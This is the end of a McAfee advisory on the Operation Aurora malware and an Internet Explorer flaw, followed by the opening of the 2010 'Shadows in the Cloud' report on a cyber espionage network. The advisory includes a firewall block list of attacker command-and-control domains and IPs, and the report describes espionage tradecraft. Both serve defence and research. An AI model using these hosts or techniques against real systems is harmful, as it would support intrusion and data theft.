Out of scope
Host IPS
Out of scope
McAfee Network Security
Platform
McAfee Network Security Platform versions with Artemis enabled (6.0.x)
provide coverage for this malware. Out of scope for prior versions.
McAfee Vulnerability
Manager
Coverage not warranted
MNAC 2.x
Coverage not warranted
McAfee Remediation
Manager
Malware coverage is out of scope.
McAfee Policy Auditor SCAP
Out of scope
MNAC SCAP
Out of scope
Roarur.dll Trojan
DAT files
Coverage is provided as Roarur.dll in the 5862 DATs, released January 15.
VSE BOP
Out of scope
Host IPS
Out of scope
McAfee Network Security
Platform
McAfee Network Security Platform versions with Artemis enabled (6.0.x)
provide coverage for this malware. Out of scope for prior versions.
McAfee Vulnerability
Manager
The FSL/MVM package of January 15 includes a vulnerability check to
assess if your systems are at risk.
MNAC 2.x
The MNAC release of February 10 will include a vulnerability check to
assess if your systems are at risk.
McAfee Remediation
Manager
Malware coverage is out of scope.
McAfee Policy Auditor SCAP
Out of scope
MNAC SCAP
Out of scope
Microsoft Internet Explorer DOM Operation Memory Corruption Vulnerability
Threat Identifier(s)
CVE-2010-0249
Threat Type
Vulnerability
Risk Assessment
High
Main Threat Vectors
E-Mail; Web
User Interaction Required
Description
A memory corruption vulnerability in some versions of Microsoft Internet
Explorer may lead to remote code execution or an application crash. The
flaw lies in Internet Explorer's handling of certain DOM operations.
Exploitation can occur via a maliciously crafted file or a maliciously crafted
web page and allow an attacker to execute arbitrary code. Failed exploit
attempts may result in an application crash (denial of service).
Importance
High. On January 14 Microsoft publicly disclosed this vulnerability. Active
exploitation has been observed in the wild.
McAfee Product Coverage *
DAT files
Coverage for known exploits and associated malware is provided as
Exploit-Comele, Roarur.dr, and Roarur.dll in the 5862 DATs, released
January 15.
VSE BOP
Generic buffer overflow protection is expected to cover some, but not all,
exploits.
Host IPS
Generic buffer overflow protection is expected to cover some, but not all,
exploits.
McAfee Network Security
Platform
Extended coverage is provided in the January 18 UDS release via the
signature "Microsoft Internet Explorer HTML DOM Memory
Corruption III." Coverage was originally provided in the UDS release of
January 14.
McAfee Vulnerability
Manager
The FSL/MVM package of January 14 includes a vulnerability check to
assess if your systems are at risk.
MNAC 2.x
Under analysis
McAfee Remediation
Manager
Remediation Manager provides mitigation for this issue by elevating
Internet Explorer settings in the Internet and Local Intranet zones. A
remedy for this issue will be provided upon release of an official vendor
patch.
Cleaning and Repair
A full on-demand scan must run to completely clean an infected host. In some cases, it
may also be necessary to run the on-demand scan in Safe Mode, as well as run a second
scan after a reboot. It is critical that the on-demand scan be configured properly.
The proper configuration:
 Scan All Local Drives
 Memory for Rootkits
 Running Processes
 Registry
 First 
Action
 set to 
Clean
The full, recommended process:
 Launch a full on-demand scan with the prior-documented configuration
 Allow the scan to run to completion
 Reboot
 Launch a second on-demand scan and allow it to run to completion to verify that
the system has been cleaned
Common URLs accessed
The following domains need to be blocked at the firewall:
360.homeunix.com
69.164.192.4
alt1.homelinux.com
amt1.homelinux.com
aop1.homelinux.com
app1.homelinux.com
blogspot.blogsite.org
filoups.info
ftp2.homeunix.com
ftpaccess.cc
google.homeunix.com
members.linode.com
sl1.homelinux.org
sl1.homelinux.org
tyuqwer.dyndns.org
update.ourhobby.com
voanews.ath.cx
webswan.33iqst.com:4000
yahoo.8866.org
ymail.ath.cx
yahooo.8866.org
sl1.homelinux.org
360.homeunix.com
ftp2.homeunix.com
update.ourhobby.com
connectproxy.3322.org
csport.2288.org
* This data is subject to change.
* For the latest data, please visit McAfee Aurora site
http://www.mcafee.com/us/threat_center/operation_aurora.html
Appendix A: Useful URLs related to Aurora
http://www.mcafee.com/us/local_content/reports/how_can_u_tell.pdf
http://www.mcafee.com/us/threat_center/aurora_enterprise.html
http://newsroom.mcafee.com/article_display.cfm?article_id=3613
http://www.mcafee.com/us/threat_center/operation_aurora.html
http://www.avertlabs.com/research/blog/
http://www.microsoft.com/technet/security/advisory/979352.mspx
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0249
http://podcasts.mcafee.com/audioparasitics/AudioParasitics-Episode80-01-2010.mp3
http://community.mcafee.com/groups/operation-aurora
JR03-2010
SHADOWS IN THE CLOUD:
Investigating Cyber Espionage 2.0
JOINT REPORT:
Information Warfare Monitor
Shadowserver Foundation
April 6, 2010
WEB VERSION. Also found here:
http://shadows-in-the-cloud.net
INFOWAR
MONITOR
JR03-2010 Shadows in the Cloud - FOREWORD
Foreword
Crime and espionage form a dark underworld of cyberspace. Whereas crime is usually the first to seek out new
opportunities and methods, espionage usually follows in its wake, borrowing techniques and tradecraft. The
Shadows in the Cloud report illustrates the increasingly dangerous ecosystem of crime and espionage and its
embeddedness in the fabric of global cyberspace.
This ecosystem is the product of numerous factors. Attackers employ complex, adaptive attack techniques that
demonstrate high-level ingenuity and opportunism. They take advantage of the cracks and fissures that open up
in the fast-paced transformations of our technological world. Every new software program, social networking
site, cloud computing, or cheap hosting service that is launched into our everyday digital lives creates an
opportunity for this ecosystem to morph, adapt, and exploit.
It has also emerged because of poor security practices of users, from individuals to large organizations. We
take for granted that the information and communications revolution is a relatively new phenomenon, still
very much in the midst of unceasing epochal change. Public institutions have adopted these new technologies
faster than procedures and rules have been created to deal with the radical transparency and accompanying
vulnerabilities they introduce.
Today, data is transferred from laptops to USB sticks, over wireless networks at caf
 hot spots, and stored across
cloud computing services whose servers are located in far-off political jurisdictions. These new modalities of
communicating de-concentrate and disperse the targets of exploitation, multiplying the points of exposure
and potential compromise. Paradoxically, documents and data are probably safer in a file cabinet, behind the
bureaucrat
s careful watch, than they are on the PC today.
The ecosystem of crime and espionage is also emerging because of opportunism on the part of actors. Cyber
espionage is the great equalizer. Countries no longer have to spend billions of dollars to build globe-spanning
satellites to pursue high-level intelligence gathering, when they can do so via the web. We have no evidence in
this report of the involvement of the People
s Republic of China (PRC) or any other government in the Shadow
network. But an important question to be entertained is whether the PRC will take action to shut the Shadow
network down. Doing so will help to address long-standing concerns that malware ecosystems are actively
cultivated, or at the very least tolerated, by governments like the PRC who stand to benefit from their exploits
though the black and grey markets for information and data.
Finally, the ecosystem is emerging because of a propitious policy environment 
 or rather the absence of
one 
 at a global level. Governments around the world are engaged in a rapid race to militarize cyber space,
to develop tools and methods to fight and win wars in this domain. This arms race creates an opportunity
structure ripe for crime and espionage to flourish. In the absence of norms, principles and rules of mutual
restraint at a global level, a vacuum exists for subterranean exploits to fill.
There is a real risk of a perfect storm in cyberspace erupting out of this vacuum that threatens to subvert
cyberspace itself, either through over-reaction, a spiraling arms race, the imposition of heavy-handed controls,
or through gradual irrelevance as people disconnect out of fear of insecurity.
JR03-2010 Shadows in the Cloud - FOREWORD
There is, therefore, an urgent need for a global convention on cyberspace that builds robust mechanisms of
information sharing across borders and institutions, defines appropriate rules of the road for engagement in the
cyber domain, puts the onus on states to not tolerate or encourage mischievous networks whose activities
operate from within their jurisdictions, and protects and preserves this valuable global commons.
Until such a normative and policy shift occurs, the shadows in the cloud may grow into a dark, threatening storm.
Ron Deibert
Director, the Citizen Lab, Munk School of Global Affairs
University of Toronto
Rafal Rohozinski
CEO, The SecDev Group (Ottawa)
JR03-2010 Shadows in the Cloud - ACKNOWLEDGMENTS
Acknowledgments
This investigation is a result of a collaboration between the Information Warfare Monitor and the Shadowserver
Foundation. Our ability to share critical information and analytical insights within a dedicated group of
professionals allowed us to uncover and investigate the operation of the network documented in this report.
The Information Warfare Monitor (infowar-monitor.net) is a joint activity of the Citizen Lab, Munk School
of Global Affairs, University of Toronto, and the SecDev Group, an operational consultancy based in Ottawa
specialising in evidence-based research in countries and regions under threat of insecurity and violence. The
Shadowserver Foundation (shadowserver.org) was established in 2004 and is comprised of volunteer security
professionals that investigate and monitor malware, botnets, and malicious attacks. Both the Information
Warfare Monitor and the Shadowserver Foundation aim to understand and accurately report on emerging cyber
threats as they develop.
Steven Adair is a security researcher with the Shadowserver Foundation. He frequently analyzes malware, tracks
botnets, and deals with cyber attacks of all kinds with a special emphasis on those linked to cyber espionage.
Ron Deibert is Director of the Citizen Lab at the Munk School of Global Affairs, University of Toronto. He is
a co-founder and principal investigator of the OpenNet Initiative and Information Warfare Monitor. He is Vice
President, Policy and Outreach, Psiphon Inc., and a principal with the SecDev Group.
Rafal Rohozinski is CEO of the SecDev Group and Psiphon Inc. He is a co-founder and principal investigator of
the OpenNet Initiative and Information Warfare Monitor, and a senior research advisor at the Citizen Lab, Munk
School of Global Affairs, University of Toronto.
Nart Villeneuve is the Chief Security Officer at the SecDev Group, Director of Operations of Psiphon Inc. and
a senior SecDev research fellow at the Citizen Lab at the Munk School of Global Affairs, University of Toronto
where he focuses on electronic surveillance, targeted malware and politically motivated digital attacks.
Greg Walton conducted and coordinated the primary field-based research for the Shadow investigation in His
Holiness the Dalai Lama
s Office and the Tibetan Government-in-Exile in Dharamsala, India. Greg is a SecDev
Group associate and editor of the Information Warfare Monitor website. He is the SecDev Fellow at the Citizen
Lab at the Munk School of Global Affairs, University of Toronto.
This report represents a collective activity and numerous others also contributed to the research effort. This
includes individuals in India, who for security reasons we cannot name. We are also grateful to the Office of His
Holiness the Dalai Lama. The research of the Citizen Lab and the Information Warfare Monitor is supported by
a generous grant from the John D. and Catherine T. MacArthur Foundation, in-kind and staff contributions from
the SecDev Group, and a generous donation of software from Palantir Technologies Inc. We are very grateful to
Masashi Crete-Nishihata (Citizen Lab) and Arnav Manchanda (SecDev Group) for research assistance, and to
Jane Gowan (Agent 5 Design and Citizen Lab) for layout and design.
JR03-2010 Shadows in the Cloud - EXECUTIVE SUMMARY
Executive Summary
Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically compromised
government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama,
the United Nations, and several other countries. The report also contains an analysis of data which were stolen
from politically sensitive targets and recovered during the course of the investigation. These include documents
from the Offices of the Dalai Lama and agencies of the Indian national security establishment. Data containing
sensitive information on citizens of numerous third-party countries, as well as personal, financial, and business
information, were also exfiltrated and recovered during the course of the investigation. The report analyzes the
malware ecosystem employed by the Shadows
 attackers, which leveraged multiple redundant cloud computing
systems, social networking platforms, and free web hosting services in order to maintain persistent control while
operating core servers located in the People
s Republic of China (PRC). Although the identity and motivation
of the attackers remain unknown, the report is able to determine the location (Chengdu, PRC) as well as some
of the associations of the attackers through circumstantial evidence. The investigation is the product of an
eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the
Shadowserver Foundation. The investigation employed a fusion methodology, combining technical interrogation
techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network.
Summary of Main Findings
Complex cyber espionage network - Documented evidence of a cyber espionage network that compromised government, business, and academic computer systems in India, the Office of the Dalai Lama, and the United Nations.
Numerous other institutions, including the Embassy of Pakistan in the United States, were also compromised. Some of
these institutions can be positively identified, while others cannot.
Theft of classified and sensitive documents - Recovery and analysis of exfiltrated data, including one document that
appears to be encrypted diplomatic correspondence, two documents marked 
SECRET
, six as 
RESTRICTED
, and
five as 
CONFIDENTIAL
. These documents are identified as belonging to the Indian government. However, we do not
have direct evidence that they were stolen from Indian government computers and they may have been compromised
as a result of being copied onto personal computers. The recovered documents also include 1,500 letters sent from the
Dalai Lama
s office between January and November 2009. The profile of documents recovered suggests that the attackers targeted specific systems and profiles of users.
Evidence of collateral compromise - A portion of the recovered data included visa applications submitted to Indian
diplomatic missions in Afghanistan. This data was voluntarily provided to the Indian missions by nationals of 13 countries as part of the regular visa application process. In a context like Afghanistan, this finding points to the complex nature
of the information security challenge where risks to individuals (or operational security) can occur as a result of a data
compromise on secure systems operated by trusted partners.
Command-and-control infrastructure that leverages cloud-based social media services - Documentation of a complex and tiered command and control infrastructure, designed to maintain persistence. The infrastructure made use of
freely available social media systems that include Twitter, Google Groups, Blogspot, Baidu Blogs, blog.com and Yahoo!
Mail. This top layer directed compromised computers to accounts on free web hosting services, and as the free hosting
servers were disabled, to a stable core of command and control servers located in the PRC.
Links to Chinese hacking community - Evidence of links between the Shadow network and two individuals living in
Chengdu, PRC to the underground hacking community in the PRC.
JR03-2010 Shadows in the Cloud - TABLE OF CONTENTS
Table of Contents
Part I: Background and Context 
Introduction - Building upon GhostNet 
About the Shadows in the Cloud Investigation - Beyond GhostNet 
Research Framework 
Part II: Methodology and Investigative Techniques
Methodology 
Field Investigation 
Technical Investigative Activities 
Part III: Mapping the Shadows in the Cloud 
3.2.
Analysis of Data while in the Field
Technical Investigation
Command and Control Infrastructure
Part IV: Targets and Effects
4.2.
Compromised Victims: the evidence
Victim Analysis on the basis of recovered documents
Part V: Tackling Cyber Espionage
Attribution and cyber crime / cyber espionage
Notification
p. 1
p. 2
p. 4
p. 5
p. 7
p. 8
p. 8
p. 10
p. 12
p. 14
p. 16
p. 20
p. 25
p. 26
p. 30
p. 36
p. 37
p. 40
Part VI: Conclusions
p. 42
Bibliography and Suggested Readings
p. 45
Glossary
p. 51
PART 1:
Background and Context
JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND & CONTEXT
Introduction - Building upon GhostNet
Research into computer network exploitation, cyber espionage, malware and botnets has expanded in recent
years from a relatively small cottage industry involving primarily technical experts to a major global phenomenon
which now includes academia, defence, intelligence, law enforcement, and the private sector. The rapid rise of
this industry is in part a recognition of the significant threat that these global criminal ecosystems represent to
critical infrastructure, government systems, personal privacy, commerce, and defense. Several high profile cases
and events, including the attacks on Google and other American companies in December 2009, underscore the
growing threat environment and suggest that these attacks are becoming the norm rather than an exception.
Policymakers are responding with legislation, institutional reforms and new initiatives, and an already sizable
market for cyber security services is mushrooming into a multi-billion dollar global industry.
This report aims to contribute to research and debate in this domain. Its release is strategic, coming roughly one
year after the publication of Tracking GhostNet (See Box 1, below).
Box 1. Tracking GhostNet: Lessons Learned
Tracking Ghostnet: Investigating a Cyber Espionage Network was the product of a ten-month investigation and
analysis focused on allegations of Chinese cyber espionage against the Tibetan community. The research entailed
field-based investigations in India, Europe and North America working directly with affected Tibetan organizations,
including the Private Office of the Dalai Lama, the Tibetan Government-in-Exile, and several Tibetan NGOs in Europe
and North America. The fieldwork generated extensive data that allowed us to examine Tibetan information security
practices, as well as capture evidence of malware that had penetrated Tibetan computer systems. We also engaged
in extensive data analysis and technical investigation of web-based interfaces to command and control servers that
were used by attackers to send instructions to, and receive data from compromised computers.
The report documented a wide ranging network of compromised computers, including at least 1,295 spread across
103 countries, 30 percent of which we identified and determined to be 
high-value
 targets, including ministries
of foreign affairs, embassies, international organizations, news organizations, and a computer located at NATO
headquarters. Although there was circumstantial evidence pointing to elements within the People
s Republic of
China, our investigation concluded that there was not enough evidence to implicate the Chinese government itself
and attribution behind GhostNet remains a mystery.
The report
s aftermath was a learning experience. The data that had been collected during the GhostNet investigation
included sensitive information about compromised computers in over a hundred countries. Many of the victims
were understandably concerned about which of their computers were targeted and compromised, and came to us
for information. On our side, we felt unsure about the protocol around information sharing, and were in an awkward
position to be able to give information over to governments and affected parties directly without being entirely clear
about whom would be responsible and whether or not our interlocutors were appropriate authorities. The notification
problems around Ghostnet informed our approach to the Shadows in the Cloud investigation, including being more
conscious from the outset of documenting our notification procedures.
The title of the report 
 Shadows in the Cloud: An Investigation into Cyber Espionage 2.0 
 is suggestive of
several threads that wind their way through the investigation. First, the malware networks we document and
analyze are to a large degree organized and operated through the misuse of social networking and cloud computing platforms, including Google, Baidu, Yahoo!, and Twitter, in addition to traditional command and control
servers. Second, although we are able to piece together circumstantial evidence that provides the location and
possible associations of the attackers, their actual identities and motivations remain illusory. We catch a glimpse
JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND & CONTEXT
of a shadow of attribution in the cloud, in other words, but have no positive identification. The 2.0 designation
also contains a double entendre: it refers to a generational shift we believe is unfolding in malware networks in
multiple dimensions, from what were once primarily simple to increasingly complex, adaptive systems spread
across redundant services and platforms, and from criminal and industrial-based exploitation to political, military, and intelligence-focused espionage. The 2.0 reference is also meant to note how the Shadow investigation
is both a re-engagement with, but also a departure from, its predecessor: the Tracking GhostNet investigation.
This report is a continuation of Tracking GhostNet, but also represents a significantly new investigation yielding
different and more nuanced evidence and analysis of the evolving cybercrime and cyber espionage environment. As with GhostNet, we are interested in better understanding the evolving nature and complex ecosystem
of today
s malware networks and see this investigation as helping to build a knowledge base around cyber security research. In this respect, Shadows in the Cloud is very much a work-in-progress, insofar as we began this
investigation by picking up several threads that were left open-ended or unanswered in the original GhostNet
investigation, and expect to continue to examine threads that are left hanging in this report.
The aim of this present investigation is to further refine the methodologies used to investigate and analyze
malware networks through a fusion methodology, which combines network-based technical interrogation, data
analysis and visualization, and field-based contextual investigations (See Box 2, below). The combination of
methods from different disciplines is a critical and common feature of both the GhostNet and Shadow investigations and analyses. Network-based technical interrogation, open source data mining and analysis (using tools
such as Google), key informant interviews and field-based investigations on their own can accomplish a great
deal, but it is through their fusion that a more comprehensive and nuanced understanding can be achieved.
Box 2. Operationalizing the Fusion Methodology
Over the past decade we have been developing a fusion methodology for investigating the exercise of political
power in cyberspace. This approach combines quantitative, qualitative and technical data, and draws on
multidisciplinary analysis techniques to derive results. In our field investigations, we conduct research among
affected target audiences and employ techniques that include interviews, long-term in situ interaction with our
partners, and technical data collection involving system monitoring, network reconnaissance, and interrogation.
Data and in situ analysis from field investigations are then taken to the lab where they are analysed using a variety
of data fusion and visualization methods, based around the Palantir data fusion system. Leads developed on
the basis of in-field activities are pursued through technical investigations and the resulting data and analysis
outputs are shared with our in-field teams and partners for verification and for generating additional entry points
for follow-on field investigations. We then interpret results from these investigations through a variety of theoretical
lenses drawing from disciplines of political science, international relations, sociology, risk analysis, and criminology
(among others). We believe that through this mixed methods interdisciplinary approach we are able to develop a
richer understanding than would be possible from studies that focus solely on technical analysis or that primarily
consist of legal, policy or theoretical investigations.
The Shadow investigation began as a follow-up of unexplored paths discovered during the GhostNet investigation. It started in the offices of Tibetan organizations who suspected they were targets of cyber espionage, and
broadened to include a much wider list of victims. The investigation used a number of techniques, including
a DNS sinkhole we established by registering domains that had previously been used by the attackers targeting Tibetan institutions, such as a computer system at the offices of the Dalai Lama. This reinforces our view
that the combination of technical analysis and field investigation forms a fruitful starting point of inquiry that
ultimately leads to important insights into the attackers
 capabilities, the ability to investigate a much wider
domain of infected targets, and a contextual understanding of the attackers.
JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND & CONTEXT
As was the case with GhostNet, dozens of high-level government networks, embassies, international organizations and others have been penetrated, and confidential, sensitive, and private documents stolen. The Shadows
report underscores the interconnected and complex challenges of cyber security. In particular, it points to the
possibility of a perfect storm that may result from a lack of international consensus, ill-developed and implemented security practices, a paucity of notification mechanisms, and the growing confluence of cyber crime,
traditional espionage, and the militarization of cyberspace.
About the Shadows in the Cloud Investigation:
Beyond GhostNet
The Tracking GhostNet report revealed a small piece of the underground cyber espionage world. After the
report was published, several of the command and control servers listed in the report and part of the network
went offline. However, targeted cyber attacks against Tibetan interests and various governments did not suddenly cease. The Shadowserver Foundation had also been looking into several similar cyber attacks both prior
to and after the GhostNet report was published. Approximately six months after the report
s publication, the
Shadowserver Foundation and the Information Warfare Monitor began a collaborative effort to further investigate new and related attacks, as well as any remaining parts of GhostNet.
Shadows in the Cloud thus departs from Tracking GhostNet in several ways. Research on cyber security is
rapidly developing, and several groups with widely differing skill sets and experience are working on related areas.
Information sharing, generally speaking, is immature and underdeveloped, often hampered by proprietary
concerns surrounding the commercial market for cyber security services. Progress on research in this area will
only stand to benefit from greater dialogue and information sharing among security researchers. Shadows in the
Cloud was thus undertaken jointly by the Information Warfare Monitor, which itself is a collaborative engagement between a public and private institution, and the Shadowserver Foundation, which is an all-volunteer
watchdog group of security professionals who gather, track and report on malware, botnet activity, and electronic fraud. The Information Warfare Monitor and the Shadowserver Foundation have several complementary
resources and data sets. Combining efforts in this way contributed to a much greater pool of knowledge and
expertise from which to draw strategic choices along each step of the investigation, and for overall analysis.
Lastly, the information sharing that went into Shadows in the Cloud extended to the Office of His Holiness the
Dalai Lama (OHHDL), the Tibetan Government in Exile (TGIE) and Tibetan non-governmental organizations.
Information sharing among victims of network intrusions and espionage is rare. The Tibetan organizations were
willing to provide access and share information with our investigation that proved to be invaluable.
Shadows in the Cloud is also distinct from Tracking GhostNet in terms of the type of data unearthed during the
course of the investigation. With GhostNet, while we were able to monitor the exfiltration of sensitive documents
from computers to which we had field access, we were unable to otherwise determine which documents were
stolen from victims that we had identified, and thus could only infer intentionality on the part of the attackers. In
Shadows, we were able to recover a significant volume of stolen documents, some of which are highly sensitive,
from a drop zone connected to one of the malware networks under observation. Although not unprecedented
among cyber security research, access to stolen documents such as those which are analysed here offers a
unique but partial insight into the type of information that can be leaked out of compromised computers. It may
even help answer some lingering questions about the intentionality and attribution of the attackers, although
that is not clear by any means. We pick up both of these threads in detail in our report below.
JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND & CONTEXT
Research Framework
Although the research that we engage in is investigatory, it is not simply a report of the facts per se. Our aim is
to engage the cyber security research community by building upon prior research in a structured, focused manner
through a systematic research framework. Several overarching research questions structure the Shadow investigation and our analysis. We outline these here, and pick up on them throughout our report.
Observation and Characterization of the Ecosystem of Malware
One of the aims of cyber security research is to observe and characterize the evolving nature and complex
ecosystem of today
s malware, botnets, cyber espionage and cyber crime networks. This is not a simple task,
as the ecosystem of malware is very much like a complex adaptive system, only one that is dispersed across
multiple ecosystems, operated by clandestine actors with potential criminal and/or espionage motivations who
have shown a propensity to adapt their techniques to new software tools, social networking platforms and other
technologies. Crimeware networks, which to some extent are the oldest and most widespread malware networks, target generalized population sets in a mostly undiscriminating fashion. Alongside crimeware networks,
however, there are other networks that are more discriminating, often characterized by the use of custom-made
software attacks, and which seek to exploit and infiltrate not random pools of victims but rather deliberately
selected targets. Within each of these two major types of malware networks are likely many sub-types, including networks that specialize in distributed denial of service (DDoS) attacks. Confusing matters further is that
toolkits and techniques used in one instance are borrowed from another, making classification difficult and
increasingly questionable. Being able to map the ecosystem of malware, however, is critical for research, policy
and operational matters, and so is one of the primary aims of our research in Shadows in the Cloud (Adair 2010).
From Criminal Exploitation to Political Espionage?
Cyber crime is as old as cyberspace itself, and criminal networks, as alluded to above, are longstanding characteristics of the dark side of the Internet. What is more novel is the use of criminal exploitation kits, techniques
and networks for purposes of political espionage (Villeneuve 2010). Debates about whether or not governments
are actively involved in cyber espionage and computer network exploitation, either through agencies they
control directly or through some kind of privateering, now dominate the headlines and have become part of a
growing politicization of the cyber security arena. One of the aims of our research is to discern to what extent
we can impute motivations behind the attacks we document, to help understand whether in fact the networks
under our observation are part of a criminal network, a political espionage network, an industrial espionage
network, an opportunistic network, or some combination of these. Such questions, it should be pointed out, are
entirely distinct (though not unrelated) to the question of attribution (i.e., who is responsible?).
We hypothesize that political espionage networks may be deliberately exploiting criminal kits, techniques and
networks both to distance themselves from attribution and strategically cultivate a climate of uncertainty. To
answer these questions requires a high degree of nuance, as the information we have been able to obtain is
incomplete, and so a great deal of our analysis rests on inferences made on the basis of multiple data sources
and our fusion methodology (See Box 2, page 3).
Collateral Compromise
Organizations from around the world have moved swiftly to adopt new information and communication
technologies, and have become part of electronically linked communities in the commercial, government, and
JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND & CONTEXT
military sectors. They exchange information as a matter of routine, across social networking and cloud computing platforms, using flash drives and other portable devices, and thus become co-dependent on each others
information and computer and network security practices. The vulnerabilities of one actor can quickly and
unintentionally compromise unwitting third parties, which in turn can become the basis for actionable intelligence against those third parties. We hypothesize that there is a high probability for collateral compromise
in any malware network because of this mutual dependence. A key consideration, of course, is how to discern
intended from unintended victims, a problem that is difficult to solve.
Actionable Intelligence around Exfiltrated Data
Related to collateral compromise is the issue of the strategic value of exfiltrated data. Access to this data can
offer important clues about the motivation and attribution of the attackers. It can also provide insight about
the strategic value of the type of data that can be accessed through malware networks. In the course of our
investigation, we assumed that we would get, at best, only a partial picture of the exfiltrated data, but even that
partial picture would provide some potentially meaningful information for those who acquire it. While each individual data point may be of little value, when combined with other data acquired through other means (e.g.,
open source searching) a very detailed operational picture can be assembled. We try to assess and evaluate the
exfiltrated data we were able to access with these issues in mind.
Attribution
Examining attribution is an arduous but important component of any cyber security investigation and has
become a major political issue at the highest levels around several recent cyber attacks. In order to characterise
the attackers, a variety of technical indicators as well as behavioural indicators need to be analysed (Parker et
al. 2004; Parker et al. 2003). These characteristics are interpreted in the context of the nature of the targets and
the objective of the attack. The nature and timing of the attack, the exploit, the malware, and the command and
control infrastructure, are just some of the components that go into determining attribution. Knowing the methods and behaviour of the attackers as well as the character of the tools the attackers use once inside the target
network, the data that the attackers exfiltrate and where that data goes, are also crucial parts of the overall assessment (Bejtlich 2010; Cloppert 2009; Mandiant 2010).
Moreover, historical information and ongoing intelligence collection are crucial when trying to understand the
scope of the threat (Deloitte & Touche LLP, 2010). It is difficult to assess attribution when examining an isolated
attack; it is the broader patterns, connections and contextual information that inform the process. However, it is
uncommon to have a complete data set covering all aspects of the attackers
 operations. Some may have access
to data regarding the attackers
 activities once inside a particular network. Others may have extensive collections of malware samples and historical data on command and control infrastructure. Others may have information on how the attackers use various exploits, or craft targeted spear phishing emails and other methods focused
on compromising particular targets. Others may have data retrieved from the attackers that indicate the identity
of those who have been compromised. And finally still others may have the necessary geopolitical knowledge to
interpret the attacks within a broader context.
Often, investigations do not have the luxury of such a full data set and must rely on incomplete information and
partial observations. Further complicating matters is that any of this information is often dependent on mistakes
made by the attackers, which typically lead to slices of an overall network instead of a comprehensive view.
Any questions concerning attribution must therefore always be set against a context of a complete consideration
of alternative explanations and qualified observations.
PART 2:
Methodology and
Investigative Techniques
JR03-2010 Shadows in the Cloud - PART 2: METHODOLOGY & INVESTIGATIVE TECHNIQUES
Methodology
The core of the methodology employed in the Shadows in the Cloud investigation rests at the nexus of technical
interrogation, field investigation, data analysis, and geopolitical, contextual research (See Box 2, page 3). No one
method alone is capable of providing a comprehensive understanding of malware networks; it is through their
combination that a complete picture is derived. For example, a technical analysis of exploits and malware used
by attackers alone can provide a great deal of insight into capabilities and targets. The command and control
servers used by the malware can be enumerated, and can sometimes reveal additional information that can be
used to identify those who have been compromised and data that may have been exfiltrated from these targets.
However, the technical analysis of exploits and malware samples alone only provides one crucial data set.
Field research is a critical, although sometimes neglected, component of malware research. While much of the
emphasis in existing malware research is focused on technical analysis of malware samples, this purely technical approach is unlikely to yield a complete picture. For example, through field research we have found compromised computers checking in with command and control servers that we have not seen in malware samples
distributed by the attackers. There is some evidence to suggest that attackers may migrate compromised hosts
to new command and control servers and/or command compromised computers to install new malware that is
not publicly disseminated through spear phishing and other targeted malware attacks. The field research component can thus provide an equally important insight into the attackers
 capabilities once the target
s network
is compromised, as well as updated command and control locations. Moreover, it allows for the investigation
of the context surrounding the the target and why the victims may have been targeted in the first place. Finally,
the wider geopolitical considerations, derived from both field investigations and contextual research, place the
collection of information in a broader context that supplies details around issues such as the timing of the attacks, the nature of the exploitation, including the use of any social engineering techniques, and potentially the
identity and motivation of the attackers.
We present our methodology in the following sequence 
 field investigation first, followed by technical investigations. However, in practice the two are iterative processes. In some circumstances, field investigations begin
first, followed by technical investigations, while in other cases the opposite is true. In this case, a technicalbased investigative technique (sinkhole analysis) is probably the closest to an actual starting point, although
even that method was informed by prior knowledge derived from field and contextual research reaching back
to the Tracking GhostNet report. In almost all circumstances, geopolitical and contextual research informs both
the technical and field research components. In practice, therefore, fusion methodology is a holistic, non-linear
approach, but one that takes place in a very structured and focused fashion.
Field Investigation
Our objective is to ultimately understand the capabilities and motivations of those engaged in targeted malware
attacks. Field research provides critical insight into the methods and operations of the attackers. By analyzing
computers at locations that are routinely targeted by (similar) attackers, we aim to identify portions of command and control infrastructure that the attackers use for particular targets as well as document the type of
data that the attackers exfiltrate from the targets. However, our research aims to be more than just extracting
information from those who have been compromised.
JR03-2010 Shadows in the Cloud - PART 2: METHODOLOGY & INVESTIGATIVE TECHNIQUES
The Tracking GhostNet investigation revealed significant compromises at Tibetan-exile and Indian targets. It
was also found that Indian government related entities, both in India proper and throughout the world, had
been thoroughly compromised. These included computers at Indian embassies in Belgium, Serbia, Germany,
Italy, Kuwait, the United States, Zimbabwe, and the High Commissions of India in Cyprus and the United
Kingdom. During the GhostNet investigation we had discovered evidence of multiple infections for which the
information available was incomplete, and to which we wanted to return for follow up. In particular, we found
one piece of malware uploading sensitive documents. Another report published soon after Tracking GhostNet,
entitled 
The Gh0st in the Shell: Network Security in the Himalayas,
 analysed the network traffic of Air Jaldi,
a community WiFi network in Dharamsala, India. It found that computers in Dharamsala were connecting with
two of the control servers documented in our report (Vallentin et al. 2009).
With the aim of focusing on both these wider pattern of compromises, and the hanging threads from the previous investigation, we worked with our existing approach, informed by the view that collecting data as close
to the intended target as possible was likely to yield actionable evidence of breaches that could be followed
through to their source, lead to wider pools of target sets, and yield information on the attackers.
In conducting the field research we were influenced by the Action Research (AR) literature (Lewin 1946; Curle
1947) that has evolved since the 1940s, as well as other field-based investigation and research techniques. The
AR field-based approach feeds into the fusion methodology that guides our overall investigatory process. It
employs ethical and participatory observations and structured focused interviews. We combined this grounded
research with technical interrogation, including network monitoring activities. As with GhostNet, we were
fortunate to have the cooperation of Tibetan organizations, and benefited tremendously from the willingness of
His Holiness the Dalai Lama and other Tibetans to share information with our investigators. As a result, for the
Shadow investigation we conducted primary field research in Dharamsala, India from August until December
2009. (Dharamsala is the location of the OHHDL as well as the TGIE).
The primary objectives of the field investigations were to research the wider patterns of compromised Indian
and Tibetan related targets, investigate the reports of targeted malware attacks that have emerged from the
Tibetan community, and raise information and computer security awareness within the Tibetan community
and assist in their security planning and implementation. Throughout the field investigation process, we also
investigated the broader social, political, military, and intelligence context. We conducted extensive on-site
interviews with officials in the Tibetan Government-in-Exile, the Office of the Dalai Lama and Tibetan NGOs.
These interviews allowed us to gain an understanding of the security practices and network infrastructure of
